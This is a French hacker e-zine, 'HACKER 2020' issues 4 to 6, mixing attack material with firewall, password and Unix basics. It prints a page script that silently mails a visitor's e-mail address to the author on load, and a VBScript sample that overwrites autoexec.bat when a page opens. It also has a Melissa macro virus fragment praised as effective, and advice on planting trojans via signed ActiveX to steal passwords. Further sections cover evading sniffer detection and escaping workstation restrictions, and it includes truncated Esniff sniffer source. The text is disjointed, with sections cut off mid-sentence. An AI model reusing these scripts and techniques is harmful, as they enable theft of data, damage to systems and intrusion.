au réseau local. Nous serions mauvaises langues, nous vous conseillerions même de choisir un autre
système d'exploitation que Windows. Mais vous n'avez probablement pas tellement le choix, en
particulier dans votre environnement professionnel.
Donc, la seconde protection consiste à restreindre l'accès aux ressources de votre réseau local en
modifiant les propriétés de chaque ressource de ce réseau. Par exemple, pour interdire l'accès à votre
disque dur C, cliquez sur l'icône Poste de travail - sélectionnez le disque C - cliquez avec le bouton
droit de la souris et sélectionnez Partage.
Vous pouvez ne pas partager le disque C, ou le partager en lecture seule, en accès complet ou en
accès par mot de passe. Dans le premier et troisième cas, indiquez le mot de passe d'accès à votre
disque C. Ainsi, les visiteurs indélicats devront montrer patte blanche.
Voici une astuce tordue pour savoir si vous avez un visiteur indélicat. Si vous n'utilisez pas le lecteur
de disquette A pendant vos accès à Internet, partagez-le en accès complet et donnez-lui comme nom
de partage PORNO-PICTS par exemple. Les hackers seront systématiquement attirés comme les
mouches par le miel (ou moins ragoûtant, la m...). Donc, si votre disque A se met en action, vous
avez très probablement un visiteur. Et pour connaître l'identité du visiteur, passez sous DOS et tapez
simplement netstat. L'adresse IP sera très probablement indiquée par son nom de réseau.
Voilà... Cette 4e issue est finie je ne sais si il y en aura une 5e! Après il n'y a plus grand chose à dire!
Bon alors bonne lecture!
Si vous voulez m'écrire: [email protected]
Clad Strife.
HACKER 2020
Issue Numero 5
Introduction: TOUT ce qui est écrit dans ce zine ne doit ni vous inciter à pirater, ni vous
pousser à le mettre en application. NI moi NI mon prvider, NI mon hébergeur ne pourront être
responsables des actes que vous ferez de ces informations. Les code sources de Melissa mis à votre
disposition ne vous permet que de l'étudier et si je l'ai mis là c'est pour favoriser la création d'"anti-
Melissa"...
Sommaire:
Le JavaScript
Le JavaScript n'est pas si innofensif qu'on pourrait le croire... En fait on va éclaircir cette affaire qui
à l'air de nous intéresser. En réalité le JavaScript n'est pas dangereux, c'est un fait. cependant il peut
nous permettre d'obtenir certaines informations. Attendez là. Vous allez dire: "alors quand on va sur
un site warez et qu'on nous donne notre adresse IP, notre version de Navigateur etc..., l'administrateur
du site le sait?". Non il ne le sait pas. Le JavaScript qui fait ça ne fait que récupérer les informations
que vous aurez bien voulu mettre ou les Informations par defaut. Mais... Mais certains scripts
JavaScripts font une requête via une dialogbox au visiteur du site, et comme en général les visiteurs
cliquent comme des malades sur OK en voyant une dialogbox, vous devrez pas avoir trop de
problèmes à choper ces infos (mails dont on va parler). Bon voilà le script qu'y vous est fourni avec
Hacker2020 pour faire vos bidouilles:
<HTML>
<HEAD>
<SCRIPT LANGUAGE=JavaScript>
<!--
function chouraveMail ()
{
maintenant = new Date();
message = maintenant.getDate()
+ "."
+ eval(maintenant.getMonth()+1)
+ "."
+ maintenant.getYear();
document.formulaireBidon.champMasque.value = message;
document.formulaireBidon.submit();
}
// -->
</SCRIPT>
</HEAD>
<BODY onLoad = 'chouraveMail();'>
Merci pour les renseignements :-)
<FORM NAME=formulaireBidon METHOD=POST ACTION="mailto:
[email protected]">
<INPUT TYPE=HIDDEN NAME=champMasque>
</FORM>
</BODY>
</HTML>
Ainsi, ce ch'tit code va créer un mail avec l'adresse e-mail par default mise dans le Browser utilisé
pour visiter la page web!
Pourquoi faire compliqué quand on peut faire simple?
Les VBScripts
Tres pratique le vbscript, il nous permet de programmer des boites de dialogues, des menus
deroulants etc... Mais mieux encore, il a acces a toutes les fonctions OLE et activeX de windows au
travers du browser. Un tres bon allie pour les activex et le javascript car il permet de justifier la
presence de ces derniers dans le code html (pour les paranos). Certaint bugs de IE permettent (sur la
version 4.0) de masquer une dialbox avec une autre dialbox (d'apparence plus innocente) :
Et le tour est joue...entre les deux tout est possible, chargement d'une taupe, envoi de courrier etc etc.
Le plus important est que le visitant clique sur "OK".
Voici un exemple de script ActiveX (par Clad Strife):
<!-- Sample Code - START --!> <SCRIPT LANGUAGE="VBScript">
Public Sub OnLoad_Sub() Const ForWriting = 2, FILE_NAME = "c:
\autoexec.bat"
Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(FILE_NAME, ForWriting )
f.Write "@echo HELLO FRIEND !" f.Close End Sub </
SCRIPT>
<!-- Sample Code - END --!>
Pour éxécuter ce code sur la page web vous avez besoin de faire
appel à cette fonction, pour l'exemple venant du script.
<BODY ONLOAD="OnLoad_Sub()">
Les ActiveX
Il s'agit de modules executables qui peuvent automatiquement etre telecharges et lances a partir de
votre browser. Ils reagissent a des codes d'authentification appeles "authenticodes". Ces codes font
appel a plusieurs regles concernant le vendeur, la date de creation et la date d'expiration (verisign).
Actuellement les authenticodes (X509) autorisent la signature des programmes codes pour les
extensions suivantes :
● .exe
● .cab
● .ocx
● .dll
Prenons l'exemple d'un programme de taupe telechargeable depuis une page web. Il faudra proceder
par plusieurs etapes pour que les operations de signature et de verification s'effectuent avec succes. Il
faudra pour ca :
MakeCert, qui cree un test de certificat X.509
Cert2SPC, qui cree un test SPC
SignCode, qui utilise le SPC pour signer un fichier
ChkTrust, qui verifie la validite du fichier
DumpCert, qui valide le certificat
SetReg, qui modifie la cle qui controle l'authentification dans la base de
registre
Et qui portent respectivement les noms :
● Makecert.exe
● Cert2SPC.exe
● ChkTrust.exe
● DumpCert.exe
● SetReg.exe
● Signer.dll (execute la signature)
Le Chaos Computer Club (groupe de hackers allemand) avait deja fait une demonstration des
multiples possibilites de cette technique en nous servant son activex qui effacait explorer.exe du
disque dur.
Pour eviter de vous faire pieger par ce genre de truc, vous pouvez modifier les elements suivants (qui
sont necessaire au processus d'install d'un activex) :
● Wintrust.dll
● Softpub.dll
● Mssip32.dll
● Vsrevoke.dll
● Crypt32.dll
Vous pouvez aussi les renommer ou les effacer mais la je ne garantis rien quant au bon
fonctionnement du systeme apres ca (z'avez qu'a utiliser netscrabe). La meilleure methode si vous
tenez vraiment a votre explodeur c'est de mettre le niveau de securite au maximum dans les
parametres internet (sauf s'il est deja trop tard).
Bref, avec des controles ActiveX on peut se permettre de charger une taupe sur n'importe quelle
machine (backorifice par exemple) et ainsi recevoir par mail (anonyme evidemment) tous les mots de
passe et infos confidentielles qui sont contenues sur l'ordi du visiteur. La seule limite est celle de
l'imagination.
Le sniffing
Alors le sniffing introduit: sniffer un réseau. Un réseau c'est une liaison entre 2, 3 ou plus d'adresses
(machines). Les resaux permettent de faire transiter des packets d'informations encapsulés dans des
informations tels :
- l'IP de la machine qui reçoit l'information
- les informations sur la carte réseau de la machine ciblée (tout en sachant que l'adresse MAC est
propre à chaque carte réseau).
Pour établir la correspondance entre les adresses IP et les adresses MAC, un protocole ARP (Adress
Resolution Protocol) est utilisé. Ainsi lors de l'encapsulation des données, pour éviter l'interception
de ses données par une autre machine, l'adresse MAC est "écrite" en tout dernier lieu sur l'enveloppe
d'encapsulation. Il y a donc 2 niveau d'authentification du destinataire.
Donc vous vous en doutez: quand un packet de données va être envoyée à une machine, une autre
machine sur le même réseau ne pourra pas le lire car elle va comparer l'adresse MAC à la sienne pour
savoir si c'est la bonne. Dans le cas échéant le système ne lit pas le packet. cependant le mode "mele"
existe. Ce mode permet l'interconnection entre 2 réseaux: l'ordinateur est paramétré pour permettre le
transimisson du packet de donnée à l'autre ordinateur (et donc l'ordinateur doit avoir 2 cartes
réseaux).
On peut quand même essayer de voir si la carte d'un ordinateur suspect est ou non en mode mele.
Mais est-ce possible dans tous les cas ?
Selon une rumeur, on aurait trouvé un astuces permettant de repérer la carte réseau d'un ordinateur
cible en mode mele. La marche à suivre serait assez facilement réalisable:
Supposons que son nom soit "LAMER". Il suffira de changer son entree dans la table ARP de votre
machine : arp -s LAMER 00:FF:00:FF:00:FF
Et ensuite, essayer la commande d'echo : ping LAMER
Si la la machine vous repond, c'est que c'est un ancien Linux, en mode mele.
N'oubliez pas de retablir l'integrite de votre table ARP :
arp -d LAMER
Notez que cela ne donne rien avec les versions recentes de Linux ou sur un autre OS. En effet cela est
du à un bug dans /linux/net/ipv4/arp.c la fonction arp_rcv0 contrôle quand envoyer les reponses ARP.
Mais le test est foireux, et cela fonctionnera si l'adresse IP est bonne, même si l'adresse ARP n'est pas
la même.
Le programme neped.c automatise cette manipulation pour toutes les machines d'un reseau. On peut
le telecharger sur :
www.rootshell.com/archive-j457nxiqi3gq59dv/199809/neped.c
A present pour les cochons qui veulent contrer la manoeuvre, il suffit de reconfigurer votre carte
avant de declencher votre sniffeur :
/sbin/ipconfig eth0 -arp
Cela empechera votre carte reseau de repondre aux requêtes ARP, et donc d'être detectee.
Bien entendu une autre technique consiste tout simplement à se faire passer pour la machine devant
intercepter les données: cette méthode (parfois douteuse), s'appelle le spoofing. Pour sniffer les
réseaux il existe aussi, les sniffers. Ceux-ci vont sniffers les packets, mais en ne denant souvent que
les premiereres centaines d'octets (par chance la partie password, logins, et autres). Le problème est
que pour utiliser un sniffer il faut avoir accès aux drivers de la carte réseau; ce qui ne devraient pas
poser trop de problèmes avec un pc tournant sous Windows95, car les administrateurs des autres
system windows NT, Linux... saisissent des paramètres de restrictions aux accès des drivers.
If DoNT <> True And DoAD <> True Then GoTo CYA
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name,
"Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If
Attention: un autre source code existe pour le même virus. Vous n'avez qu'à comparer. Si j'étais vous
je choisirais le premier plutôt que le second mais les deux m'ont l'air valables et efficaces.
Communément rencontré sur les réseaux, le terme bastion réfere a la structure d'un vieux chateau,
principalement pour la notion du pont-levis. C'est un ordinateur avec au moins deux interfaces (cartes
réseau), une vers le réseau "ami" et l'autre vers le réseau "ennemi". Quand le premier acces réseau est
autorisé depuis l'interieur vers la partie "ennemi" par le Bastion Host, tous les autres acces le sont
également. Physiquement, les Bastion Host se place entre l'intérieur et l'exterieur du réseau, sans
autre intervenant. Ils sont normalement utilisés comme une partie d'un autre firewall -plus grand et
plus sophistiqué-.
Les désavantages : Une fois qu'un intrus a les droits d'acces, il a un acces direct a la totalité du
réseau. Ce type de protection n'est pas assez sophistiqué pour les applications
réseau.
Déjà plus poussé au niveau technique, ce firewall utilise un routeur intégré avec
au moins deux interfaces (cartes réseau), une vers le réseau "ami" et l'autre vers
un Bastion Host. Le routeur intégré sert d'intermédiaire avec Bastion Host. Ainsi
les paquets sont routés apres avoir été filtrés selon des regles prédéfinies. Ces
regles peuvent décider quelles adresses IP sont autorisées ou refusées. Tous les
autres examens de paquets sont effectués par les "Bastion Host". Le routeur fait
baisser le traffic vers le bastion host et allege le travail en diminuant le nombre
d'algorithmes a éxécuter.
Physiquement, le Screened Host est un routeur avec une connexion sur l'exterieur et
une connexion vers un "Bastion Host". Le Bastion Host a une connexion avec le
routeur et une connexion sur le réseau interne.
Les désavantages : S'il est seul, il peut devenir un goulot d'étranglement. Si le systeme hote tombe,
la passerelle entiere tombe avec.
Avec plusieurs autres routeurs et Bastion Hosts, on forme une batterie de pont-levis a un réseau.
Physiquement plus difficile a représenter, mais un résultat plus sécurisé dans un environnemt robuste.
Normalement il se constitue comme suit : Un routeur avec une connexion sur le reseau exterieur et
une autre sur un Bastion Host. Le bastion Host a une connexion sur le routeur le plus proche de la
sortie et une connexion sur un autre bastion host, avec une connexion réseau adressable au milieu.
Le bastion host le plus proche de l'intérieur a une connexion vers le bastion host le plus proche de la
sortie et une autre connexion sur un routeur interne. Le routeur interne a une connexion vers le
Bastion host le plus proche de l'entrée du réseau interne. Le résultat de cette configuration tortueuse
est que les composants de sécurité ne bogguent jamais, et toutes les adresses ip internes sont
invisibles de l'exterieur, évitant ainsi toute possibilité de "mapping". Les désavantages :
Le prix (deux a trois fois plus cher). L'implémentation doit etre faite par un professionnel de la
sécurité. A déconseiller au newbies.
Du point de vue client, un serveur proxy est une application qui se substitue aux ressources réseau en
se faisant passer pour l'émetteur/récepteur. Du point de vue réseau, le serveur proxy accede aux
ressources en se faisant passer pour le client. Les firewall a niveau applicatif peuvent aussi controler
un traffic entre deux réseaux. Ils sont aussi capable de proposer des fonctions comme les mesures
d'audit et de logging avancé. Les statistiques sont plus détaillées mais généralement ne le font pas si
bien que ca. C'est avant tout un programme qui s'éxécute sur une machine qui est attaquable et
plantable; le cas échéant, vous crashez le firewall avec. A utiliser en complément avec des firewalls
network level.
Unix
commande : commande seule Exemple : ls
commande [-options] : commande avec des options Exemple : ls -al
commande arguments : commande avec des arguments Exemple : ls *.lst
commande [-options ] arguments : commande avec des options et des arguments Exemple : ls -al *.lst
Comment changer son mot de passe ?
passwd
Exemples :
file unix.sgml
unix.sgml : ascii text
file unix.sp unix.ps : PostScript document conforming at level 2.0
Exemple :
cat fichier1
Jacques titi Ginette
Albert toto Marc
Franck tonton Anne
Edouard tata Alfonse
Franck tonton Anne
sort -u fichier1 : permet de trier et de n'afficher que les lignes non identiques (option -u).
Albert toto Marc
Edouard tata Alfonse
Franck tonton Anne
Jacques titi Ginette
sort +2 fichier1 : permet de trier sur le troisième champ.
Edouard tata Alfonse
Franck tonton Anne
Franck tonton Anne
Jacques titi Ginette
Albert toto Marc
Comment juxtaposer deux ou plusieurs fichiers ?
Syntaxe : paste [-d suite_caracteres] nom_fichier1 nom_fichier2
Exemple :
cat nom_fichier1 :
55555
4444
333
22
1
cat nom_fichier2 :
a
bb
ccc
dddd
eeeee
paste -d "+" nom_fichier1 nom_fichier2 :
55555+a
4444+bb
333+ccc
22+dddd
1+eeeee
Comment comparer deux fichiers entre eux ?
cmp nom_fichier1 nom_fichier2 : compare le fichier "nom_fichier1" et le fichier "nom_fichier2" et
indique s'ils sont différents.
diff nom_fichier1 nom_fichier2 : affiche les lignes différentes du fichier "nom_fichier1" et du fichier
"nom_fichier2"
Comment rechercher une chaîne de caractères dans un fichier ?
grep fournet /etc/aliases : permet de rechercher toutes les lignes contenant la chaîne de caractères
"fournet" dans le fichier "/etc/aliases"
fournet: [email protected]
flo:fournet
grep MAXNQ *.f : pour rechercher la chaîne "MAXNQ" dans tous les fichiers suffixés ".f", c'est à
dire tous les fichiers sources Fortran du répertoire courant.
dfls3q.f: PARAMETER( MAXQ2=MAXNQ+MAXNQ,
dfmmd3.f: PARAMETER( MAXQ2=MAXNQ+MAXNQ,
dfmmd3.f:46 CALL DFCOM(NPARM,0,NCALL,MAXNQ,NQ2,
dfmmp3.f: PARAMETER( MAXQ2=MAXNQ+MAXNQ,
dfmmp3.f: CALL DFPDIA (NEL,II,JJ0,NQ2,MAXNQ2,AA,SIGMA)
dfmmp3.f: CALL DFPBLK (NEL,II,JJ0,NQ2,MAXNQ2,AA,SIGMA)
Généralités sur les répertoires
Un répertoire est un fichier contenant un liste de noms de fichiers et de noms de sous-répertoires.
Un répertoire père : est un répertoire de niveau immédiatement supérieur au répertoire courant.
Un répertoire fils : est un répertoire de niveau immédiatement inférieur au répertoire courant. C'est un
sous-répertoire d'un répertoire parent.
Struture arborescente : Le premier niveau de l'arborescence est nommé la racine (root). On le désigne
par le slash (/). C'est le répertoire père de tous les répertoires.
Le caractère "." désigne le répertoire courant.
Le caractère ".." désigne le répertoire père.
Le caractère "~" désigne le répertoire d'accueil (home directory).
Comment créér un répertoire ?
mkdir nom_du_répertoire
qui :
u : pour modifier les permissions de l'utilisateur (user)
g : pour modifier les permissions du groupe (groupe)
o : pour modifier les permissions des autres (other)
a : pour modifier les permissions de tous (all)
opération :
+ : pour ajouter une permission
- : pour enlever une permission
permission :
r : permission de lire (read)
w : permission d'écrire (write)
x : permission d'exécuter (execute)
Exemples :
chmod a+r nom_du_fichier : donne les droits en lecture (read) à tous les utilisateurs (all) pour le
fichier indiqué.
chmod g-w nom_fichier : pour ne pas autoriser les utilisateurs du groupe à écrire (write) sur le fichier
indiqué.
chmod -R o-x nom_repertoire : l'option "-R" indique que le fichier indiqué est un répertoire.
Comment changer de propriétaire ?
Syntaxe : chown [-R] nom_user nom_du_fichier
chown mcbatut mon_fichier :
chown -R mcbatut essai :
Comment rechercher un fichier dans l'arborescence ?
find . -name kinou -print : permet de rechercher à partir du répertoire courant les fichiers de nom
kinou et de les afficher.
./kinou
./canards/kinou
find . -name kinou -exec ls -il : permet de rechercher à partir du répertoire courant les fichiers de nom
kinou et de les afficher sous le format long (l).
2064 -rwx-r-x-r-x 1 mcbatut etude 10716 Fv 21 15:43 ./canards/kinou
find . -name kinou -type d -print : permet de rechercher les fichiers de nom kinou et mais seulement
ceux qui sont de type directory (répertoire).
Comment ne visualiser que les premières lignes d'un fichier ?
head nom_du fichier : visualise les 10 premières lignes du fichier nom_du_fichier.
head -20 nom_du fichier : visualise les 20 premières lignes du fichier nom_du_fichier.
Comment ne visualiser que les dernières lignes d'un fichier ?
tail -l nom_du fichier : visualise les 10 dernières lignes du fichier nom_du_fichier.
head -l -n 20 nom_du fichier : visualise les 20 dernières lignes du fichier nom_du_fichier.
Comment copier tout un répertoire ?
Syntaxe : cp -r nom_du_repertoire_source nom_du_repertoire_destination
Sur "dga2" et "dga3", tous les utilisateurs de la SAGA sont sous "/utou".
Sur les autres serveurs, les utilisateurs sont sous "/home".
Pour utiliser au mieux votre espace disque, n'oubliez pas de faire le ménage régulièrement, et utilisez
les outils de compression et de décompression vus ci-dessus.
Les redirections
prog <fichier_entree : permet de lancer le programme exécutable "prog" et de rediriger l'entreé
standard sur un fichier; donc de lire les donneés dans un fichier.
prog >fichier_sortie : permet de lancer le programme exécutable "prog" et de rediriger la sortie
standard sur un fichier; donc d'écrire le résultat dans le fichier spécifié. Si ce dernier existe, il est
écrasé.
prog >>fichier_sortie : même chose que précédemment mais dans ce cas si le fichier existe, il n'est
pas écrasé. Les écritures se font en fin de fichier.
prog 2>fichier_erreurs : permet de rediriger les erreurs dans le fichiers "fichier_erreurs".
prog <fichier_entree >fichier_sortie >fichier_erreurs : permet de combiner les 3 redirections.
Généralités sur les processus
Unix créé un processus pour chaque tâche à réaliser. Un processus est un programme qui peut
s'exécuter en mémoire de manière indépendante. Tout processus est issu d'un processus père.
L'orsqu'un processus fils se termine, il renvoie au père un code de sortie.
Oufff! J'en ai mis du temps à le finir ce bon e-zine. en espérant qu'il vous a plus je vous donne aussi
mes coordonnées:
[email protected]
UIN: 22350168
HACKER 2020
ISSUE N°6, par Clad Strife
Disclaimer: vous agissez comme vous le voulez je ne saurais être tenu (ni moi, ni personne, sauf
vous) des actes immodérés que vous ferez avec les informations qui vont vous être fournies.
Introduction: c'est sympa de recevoir des e-mails de gens qui apprécient les 'HACKER 2020',
mais quand je leur demande s'ils connaissent les autres zines, la réponse reste presque toujours
négative: ces zines sont lus un peu partout sauf sur mon site; allez savoir pourquoi: alors je mets ce
lien: http://www.multimania.com/hackworldclan, voilà ça m'évitera d'avoir une boite mail pleine à
craquer. Je tiens aussi à dire, que si vous avez pas pigé ce qui est écrit dans le zine ça sert à rien de
vous casser le crâne dessus, soit vous n'avez pas le niveau requis (les zines deviennent de plus en plus
compliqué je l'avoue), ou bien c'est que je fais des fautes grosses comme des maisons, mais le fruit de
mes déductions est l'objet de recherches, alors en général c'est pas trop ça. Sur ce je vous souhaite une
bonne lecture.
SOMMAIRE:
Un trojan est le terme employé pour désigner BackDoor. En fait on devrait appeler trojan, un
programme (presque virus) qui s'infiltre à l'insu d'un utilisateur pour foutre son merdier, selon ses
capacités. Une BackDoor fonctionnant presque sur le même principe, le terme a été généralisé, et ce
n'est plus une erreur de dire "trojan" (ou troyan, ou troyen au pluriel), à la place de BackDoor. Le
trojan a la particularité de créer une voie d'accès à votre système: c'est d'ailleurs l'un des moyens les
plus simples (en général les lamers aiment bien ce genre de programmes juste pour faire joujou), et
les plus rapide et efficace de créer une faille vers votre système: en effet une fois le trojan (appelé
Définition rapide d'un virus: programme qui, en général, s'inscrit dans chacun de vos fichiers sur
tout votre disque dur. Ca c'est LE virus par excellence. Puis un virus peut-être modifié dans un but
nuisible: ça peut aller des simples problèmes d'allumage ou d'extinction au flash du BIOS. Il n'est pas
possible de savoir si un programme dissimule un virus. Alors il faut télécharger (ou acheter) des anti-
virus: AVP et Norton (par exemple, cependant il est conseillé d'avoir la version 2000 de Norton). Le
problème est qu'environ 400 virus (moyenne caculée par ch'ais plus trop qui) sont créés par mois!
Heureusement il restent en général discret. Mais celà oblige les posseseurs d'anti-virus à updater leur
base de données de virus régulièrement. La moyenne à tenir est de une update par mois. Si vous avez
vraiment peur: faites ça toutes les 2 (!) ou 3 semaines. Un virus est un réel danger pour la sécurité et
la maintenance d'un réseau: il n'est pas rare de tomber sur un virus qui se propage à travers un réseau
entier, causant à la perte de toutes les données stockées sur le réseau ou pire: celles du réseau voisin
s'il y a une connection entre deux réseaux. Certains virus sont vicieux car sont en réalité des macro-
instructions (possibilités de les mettre dans les .doc), comme Melissa, et ces macro-instructions, bien
que parfois non dangereuses, peuvent l'être. Là aussi un anti-virus est nécessaire.
● Sécuriser son réseau:
Pour commencer à sécuriser un réseau connecté à l'internet (donc réseau local relié au net), il faut
d'abor le sécuriser en tant que réseau local: c'est-à-dire que des protections doivent être mises en
oeuvre pour éviter qu'un utilisateur de ce réseau ne fasse des manoeuvres dangereuses, éxécute des
virus ou des trojans, que ce soit intentionnel ou inintentionnel.
Le problème des virus est trojan est traité plus haut. Donc on va traiter des erreurs demanipulations
ou attaques voulues, de l'intérieur du réseau. Le premier danger est le fait qu'un utiolisateur puisse
avoir accès à chaque poste en réseau (dont le serveur), depuis un seul poste. Mettez alors des
restrictions (exemple: sous Windows, partagez les répertoires avec accès en mot de passe, ou accès
limité), ou mieux: des programmes qui mettes des restrictions qui SEMBLENT incassables. Il existe
donc de nombreux programmes qui empêche un utilisateur d'avoir les icones sur le bureau, d'accéder
à l'explorateur windows, etc... Mais en réflechissant bien, il y a foule de moyens d'accéder à la
session administrateur (le programme ne met plus de restrictions): soit en effaçant complètement le
programme, ses .dll, ou en trouvant le pass.
La première solution requeirt un minimum d'accès à certains programmes, si vosu pouvez accéder à:
- Wordpad: demandez à ouvrir un fichier, non pas .txt ou .doc, mais en *.* recherchez le programme
sécurisant le pc, effacez tout.
- Dans le menu Démarrer, Executer: tapez C: ou D: selon le lecteur mis en cause
- IE, Netscape navigator: dans la barre blanche ou l'on met l'adresse url tapez: C:, ou mieux: Poste de
travail. Faites attention car à partir du poste de travail on peut agir sur TOUT!
- Arretez l'ordinateur et demandez à le faire redémarrer en Mode MS-DOS: à partir de là, vous
pouvez accéder à tout, sans restrictions.
- Des outils graphiques: au lieu de rechercher à ouvrir un format d'image précis, cherchez en *.* et
amusez vous.
- Winzip, ou autres: faites dans Winzip, File - Open Archives et ouvrez en *.*
- etc... Il y a foule de programmes avec lesquels on peut casser une sécurité.
La deuxième solution requiert à l'utilisateur d'avoir un minimum d'infos sur l'utilisateur, ou encore
de trouver les fichiers sensibles (par exemple: il existe des fichiers d'aide -accessibles même en
restricted acces grâce aux moyens présentés ci dessus- qui, si on a perdu le mot de passe, explique
comment le retrouver!!). Il n'y a pas de réelles solutions dans ce cas là, sauf mettre un pass au BIOS
(qui peut toujours se cracker, selon différentes méthodes mais qui demandent du temps), ce qui
rebutera même les plus avertis.
Ca c'est déjà vu, quand vous vous souscrivez sur un hébergeur ou autre, on vous demande de bien
choisir votre mot de passe (les webmasters en ont marre de recevoir du courrier expliquant que le site
d'Untel a été piraté). Il est conseillé (parfois obligatoire) de prendre un mot de passe à plus de 6, 8 ou
9 lettres. Le 3/4 des utilisateurs font l'erreur de prendre un mot de passe qui correspond à quelque
chose: un pseudo, un nom de famille, le nom du chat... Un bon dico, permet à tous les lamers (ceux
qui utilisent des crack pass pour satisfaire leurs besoins de soumissions mazochistes et débiles, en
hackant des serveurs de pauvre gars qui font chier personnes) de trouver ce pass. Il est conseillé de
prendre un password avec: majuscules, minuscules, chiffres.
Ex: RuY54gHEt
Ca peut paraitre long à taper et chiant, mais personne vous oblige à prendre ce pass.
D'autres personnes ont cru bien sécuriser leurs sites ou réseaux ou comptes mails, en ne mettant que
des chiffres!
Ex: l'utilisateur X a choisi 121182 comme password pour son site et son compte mail.
Ces chiffres correspondent à des dates, ou a rien du tout: mais un générateur de chiffres peut créer un
dico qui trouvera la solution en deux coups de cuillers à pot.
De plus un utilisateur prudent et averti ne devrait jamais prendre un même mot de pass pour les zones
sensibles (réseau, site, compte e-mail, etc...)
Dans ces techniques, celle de possession du compte e-mail est la plus dangereuse: il suffit que
monsieur X ait enregistré son site à l'adresse xxxx@héhé.com, pour qu'un cracker fasse un retry
d'infos, et le pass du site est envoyé sur le compte e-mail... piraté.
Lors de l'inscription sur un serveur d'hébergement, on vous demande de remplir un formulaire qui
correspond à votre profil d'utilisateur (nom, prénom, adresse, etc...). Le mieux à faire est de ne surtout
pas mettre ses infos réelles, mais des infos bidons. Pour deux raisons:
- Le serveur peut-être amené à faire des listing d'utilisateurs, et les diffuser à d'autres serveurs avec
lesquels ils travaillent...
- Des failles permettent d'exploiter ces informations, (c.f. le cas de Multimania dans Nopeace2, sur le
site hackworldclan).
de plus il est conseillé de ne pas souscrire à de mailing lists ou de newslists, etc... des utilisateurs
malveillants pourraient dresser un profil de votre personnalité.
Conclusion: cet article est court, mais il est récapitulatif de ce que vous devez savoir pour minimiser
les risques de piratage. En réalité, expliquer en profondeur comment sécuriser un réseau (protections
par firewalls, savoir connecter quel routeur sur quel proxy, etc...), est BEAUCOUP trop long, et celà
ne m'intéresse pas forcément d'apprendre aux gens à sécuriser un réseau (peu d'administrateurs
réseaux lisent les articles des e-zines nommés HACKER 2020, sauf s'ils sont passionnés par le sujet).
Il y en a beaucoup d'autres, mais les recenser tous demanderait un travail monstre et un peu inutile.
D'autant plus qu'après la liste des sniffers payants, voici les non-payants, comme dis plus haut, plus
pour UNIX que pour Windows:
● Esniff: c'est un sniffer programmé en C, basé sur UNIX, dont les codes sources sont
disponibles un peu partout. Mais en voici le code source:
/* Esniff.c */
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <arpa/inet.h>
char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }
struct CREC {
struct CREC *Next,
*Last;
time_t Time; /* start time */
struct in_addr SRCip,
DSTip;
u_int SRCport, /* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
u_int Length; /* current data length */
u_int PKcnt; /* # pkts */
u_long LASTseq;
};
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),
AF_INET);
return( (he)?(he->h_name):(inet_ntoa(ip)) );
}
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}
char *SERVp(port)
register u_int port;•
{ static char buf[10];
register char *p;
switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET: p="telnet"; break;
case IPPORT_SMTP: p="smtp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}
char *NOWtm()
{ time_t tm;
time(&tm);•
return( Ptm(&tm) );
}
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}
while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}
#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') ||
lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
